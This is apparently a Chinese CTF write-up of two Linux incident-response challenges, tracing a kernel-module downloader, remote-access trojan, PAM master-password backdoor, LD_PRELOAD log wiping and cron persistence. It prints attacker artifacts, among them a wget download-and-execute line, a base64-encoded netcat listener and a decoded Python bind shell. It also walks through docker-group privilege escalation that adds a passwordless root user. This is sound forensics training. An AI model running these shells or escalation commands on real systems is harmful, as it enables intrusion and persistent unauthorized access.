2025长城杯半决赛-应急响应

小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。

1

找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。

根据题目描述,尝试自动化脚本抓心跳,根据ssh主机上的.vimhistory能看到对防火墙的修改,锁定IP范围为192.168.57.210/24

1
2
3
4
5
6
7
8
9
import time
import subprocess

while True:
now = subprocess.check_output(["netstat","-pantu"])
if "192.168.57" in now.decode():
print(now.decode())
exit()
time.sleep(0.1)

但是始终没有看到,猜测是做了rootkit,根据题目描述前段时间执行过某些更新脚本(已删除)猜测需要恢复磁盘中已删除文件

题目给出了raw镜像,root是空的,那么优先在home下找其它用户,发现ubunt用户,在1.txt中发现可疑信息:

1
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

使用wegt下载了可疑文件,同时在.viminfo中看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# File marks:
'0 6 0 /etc/systemd/system/system-upgrade.service
|4,48,6,0,1740374317,"/etc/systemd/system/system-upgrade.service"
'1 6 0 /etc/systemd/system/system-upgrade.service
|4,49,6,0,1740374161,"/etc/systemd/system/system-upgrade.service"
'2 5 7 /etc/systemd/system/system-upgrade.service
|4,50,5,7,1740374151,"/etc/systemd/system/system-upgrade.service"
'3 5 7 /etc/systemd/system/system-upgrade.service
|4,51,5,7,1740374151,"/etc/systemd/system/system-upgrade.service"
'4 5 7 /etc/systemd/system/system-upgrade.service
|4,52,5,7,1740374151,"/etc/systemd/system/system-upgrade.service"
'5 5 7 /etc/systemd/system/system-upgrade.service
|4,53,5,7,1740374151,"/etc/systemd/system/system-upgrade.service"
'6 10 0 /etc/netplan/01-netcfg.yaml
|4,54,10,0,1740369999,"/etc/netplan/01-netcfg.yaml"
'7 11 4 /etc/netplan/01-netcfg.yaml
|4,55,11,4,1740369946,"/etc/netplan/01-netcfg.yaml"
'8 7 14 /etc/netplan/01-netcfg.yaml
|4,56,7,14,1740367791,"/etc/netplan/01-netcfg.yaml"
'9 7 14 /etc/netplan/01-netcfg.yaml
|4,57,7,14,1740367791,"/etc/netplan/01-netcfg.yaml"

# Jumplist (newest first):
-' 6 0 /etc/systemd/system/system-upgrade.service
|4,39,6,0,1740374317,"/etc/systemd/system/system-upgrade.service"
-' 6 0 /etc/systemd/system/system-upgrade.service
|4,39,6,0,174037

调用了和下载的可疑文件同名的配置文件,而且具有周期性特征,与题目描述相符,跟进查看/etc/systemd/system/system-upgrade.service:

1
2
3
4
5
6
7
8
[Unit]
Description=system-upgrade
After=multi-user.target
[Service]
Type=forking
ExecStart=/sbin/insmod /lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
[Install]
WantedBy=multi-user.target

可以看到加载了/lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko,内核取证,跟进并导出对应文件,这里优先选择逆向分析,函数名做了混淆,但是不影响伪代码的可读性:
alt text

有三个端口,逐个试一下即可,IP端口为192.168.57.203:4948,最终flag:

1
flag{59110f555b5e5cd0a8713a447b082d63}

2

找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}

同上题,可以看到/lib/systemd/systemd-agentd这个路径
在/lib/systemd/下找到systemd-agentd为木马文件本体,计算MD5即可,最终flag:

1
flag{bccad26b665ca175cd02aca2903d8b1e}

3

找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。

交叉引用查看上题/lib/systemd/systemd-agentd,发现功能之一为下载并执行反向代理
因此答案就是system-upgrade.ko,最终flag:

1
flag{78edba7cbd107eb6e3d2f90f5eca734e}

4

查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。

在最开始的1.txt中就有,wegt下载后的原始名称为.system_upgrade,MD5即可,最终flag:

1
flag{9729aaace6c83b11b17b6bc3b340d00b}

5

分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。

逆向木马本体/lib/systemd/systemd-agentd,找到start函数:
alt text

继续跟子函数找通信部分,发现和函数sub_40641D相关:

alt text

通过字符串定位过去,发现可疑数据,怀疑为加密处理过的通信加密密钥:

alt text

找引用继续跟,最终定位到函数sub_405EC9:

alt text

xor了0x69:

alt text

最终flag:

1
flag{ThIS_1S_th3_S3cR3t_fl@g}

玄机-linux后门应急

1

主机后门用户名称:提交格式如:flag{backdoor}

cat /etc/passwd

1
flag{backdoor}

2

主机排查项中可以发现到flag{}内以i开头的flag,如flag{ixxxxxxx}

ps -aux
alt text

ps -ef也可以

1
flag{infoFl4g}

3

主机排查发现9999端口是通过哪个配置文件如何开机启动的,如/etc/crontab则填写/etc/crontab 的md5 ,提交方式示例:flag{md5}

在/etc/rc.d/rc.local中发现

1
2
3
4
#!/bin/bash

echo d2hpbGUgdHJ1ZTtkbyBub2h1cCBuYyAtbHZwIDk5OTkgLWMgImZsYWd7aW5mb0ZsNGd9IiAyPiYxIDtzbGVlcCAxO2RvbmU7 | base64 -d | nohup bash &
exit 0

base64解码得到

1
while true;do nohup nc -lvp 9999 -c "flag{infoFl4g}" 2>&1 ;sleep 1;done;

因此flag为

1
flag{cf8a978fe83579e2e20ec158524d8c06}

其他思路
/etc/systemd/system 查看自启动服务的相关配置文件
打开 rc-local.service,发现执行了 /etc/rc.d/rc.local 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Unit]
Description=/etc/rc.local Compatibility
ConditionPathExists=/etc/rc.d/rc.local
After=network.target

[Service]
Type=forking
ExecStart=/etc/rc.d/rc.local start
TimeoutSec=0
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target

ps -ef发现执行nc -lvp 9999 -c flag{infoFl4g}的进程的PID为498,PPID为492,而492的PPID是1,开机初始化启动的
查看服务,发现自启服务

1
systemctl status

alt text

rc.local文件开机自启动,通常位于/etc/rc.local或/etc/rc.d/rc.local

4

黑客3s做了记录所有用户的每次登陆的密码的手段,flag为黑客记录的登陆密码日志路径md5,提交方式示例:flag{md5(路径)}

在 /tmp 目录下发现.sshlog 文件
/tmp/.sshlog,md5得到flag

1
flag{8997d5a1b8dcca5a4be75962250959f7}

其他思路

发现PAM认证模块相关的动态库有两个so比较新,其中一个是bk,可能被修改过

1
ls -la /usr/lib/x86_64-linux-gnu/security

alt text

逆向一波发现/tmp/.sshlog
alt text

5

给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd,端口号为22,则flag{sshd22}

ss查看网络连接发现8080有个python3

1
ss -tulnp

alt text

不出网,本地nc连一下发现是个后门

1
nc 127.0.0.1 8080

alt text

故flag为

1
flag{python38080}

其他思路
逐一排查systemctl启动配置文件存放位置
/etc/systemd/system
/usr/lib/systemd/system
/lib/systemd/system

ls -lat /etc/systemd/system发现可疑文件docker-compose-app.service
查看内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[Unit]
Description=Docker Compose Application
After=network.target docker.service

[Service]
Type=simple
WorkingDirectory=/home/user/
ExecStart=/bin/bash /usr/lib/python3.7/site-packages/docker/startup.sh
ExecStop=/usr/bin/docker-compose down
Restart=always
User=user
TimeoutStartSec=0
TimeoutStopSec=0
KillMode=process

[Install]
WantedBy=multi-user.target

查看/usr/lib/python3.7/site-packages/docker/startup.sh

1
2
3
4
#!/bin/bash
/usr/local/bin/docker-compose -f /home/user/nginx/docker-compose.yml up -d

echo 'import base64;v=base64.b64decode("aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwoKIyBDcmVhdGUgc29ja2V0IG9iamVjdApzID0gc29ja2V0LnNvY2tldCgpCnMuYmluZCgoJycsIDgwODApKQpzLmxpc3RlbigxKQoKIyBDb250aW51b3VzbHkgYWNjZXB0IGNvbm5lY3Rpb25zCndoaWxlIFRydWU6CiAgICBjb25uLCBhZGRyID0gcy5hY2NlcHQoKQogICAgdHJ5OgogICAgICAgICMgTGF1bmNoIGJhc2ggc2hlbGwgY29ubmVjdGVkIHRvIHRoaXMgc29ja2V0CiAgICAgICAgc3VicHJvY2Vzcy5jYWxsKFsnL2Jpbi9iYXNoJ10sIHN0ZGluPWNvbm4sIHN0ZG91dD1jb25uLCBzdGRlcnI9Y29ubikKICAgIGZpbmFsbHk6CiAgICAgICAgIyBFbnN1cmUgdGhlIGNvbm5lY3Rpb24gaXMgY2xvc2VkIGFmdGVyIHVzZQogICAgICAgIGNvbm4uY2xvc2UoKQo=");exec(v)'|nohup python3 &

base64解码发现是个反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket, subprocess

# Create socket object
s = socket.socket()
s.bind(('', 8080))
s.listen(1)

# Continuously accept connections
while True:
conn, addr = s.accept()
try:
# Launch bash shell connected to this socket
subprocess.call(['/bin/bash'], stdin=conn, stdout=conn, stderr=conn)
finally:
# Ensure the connection is closed after use
conn.close()

6

找出开机启动的后门服务名称MD5,提交flag{md5(服务名)}

继上题,就是docker-compose-app.service

1
flag{5213e47de16522f1dc3f9e9ecc0ab8b0}

其他思路

看一下开机自启动服务

1
2
3
systemctl list-unit-files --type=service --state=enabled

systemctl list-unit-files --type=service

7

渗透提权获得root目录下的flag

1
2
3
id

uid=1000(user) gid=1000(user) groups=1000(user),1001(docker)

user 用户在 docker 组里面,而且 docker 有 root 权限

通过挂载目录提权

1
docker run --name shell -v /:/n0o0b -it nginx:1  bash

进入n0o0b目录,cat root/flag即可

1
flag{ATMB_root}

提权后可以添加一个新的有root权限的用户

1
echo "n0o0b::0:0::/root:/bin/bash" >> /n0o0b/etc/passwd

这样退出docker后切换用户即可拿root

1
su n0o0b

8

黑客3s埋了一个flag在权限维持过程中的地方,可以发现flag{}括号内的首字母是c开头,如flag{cxxxxxxx}

切换到n0o0b用户后,打开所有 crontab-jobs

1
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

但是没有发现flag

不过crontab -e可以看到
alt text

1
flag{cr0nt4b_IRfind}

其他思路

1
2
3
cat /var/log/syslog |grep 'flag'

cat -A /var/spool/cron/crontabs/root

9

黑客3s做了一个root用户执行cat命令就删除文件的操作,请发现删除了什么文件将文件名作为flag提交

由题意容易想到环境变量劫持

alt text

执行env命令发现LD_PRELOAD劫持动态链接库
追踪一下/bin/cat也能看出链接了Nomal.so

1
strace -f -e trace=file /bin/cat

逆向Nomal.so,检查字符串就能看到删除了.bash_history

1
flag{.bash_history}

10

黑客3s很执着清理痕迹,并做了一个持续删痕迹的手段,请发现手段并给出删除的完整黑客删除命令的md5,如flag{md5(rm -f /var/log/ssh.log >/dev/stdout)}

接上题,逆向Nomal.so发现执行了rm -rf ~/.bash_history >/dev/null 2>&1

1
flag{b0f531b39d88d4f603fc89bd4dd2c0aa}

11

黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用。请发现这个万能密码,提交flag格式为flag{万能密码}

万能密码首先想到的是 openssh 替换或者 pam 替换
pam_unix.so 负责与本地 Unix 系统认证进行交互,主要用于处理用户的身份验证,如密码验证

1
find /lib /lib64 /usr/lib /usr/lib64 -name pam_unix.so

逆向分析pam_unix.so

alt text

看到密码是 ATMB6666

1
flag{ATMB6666}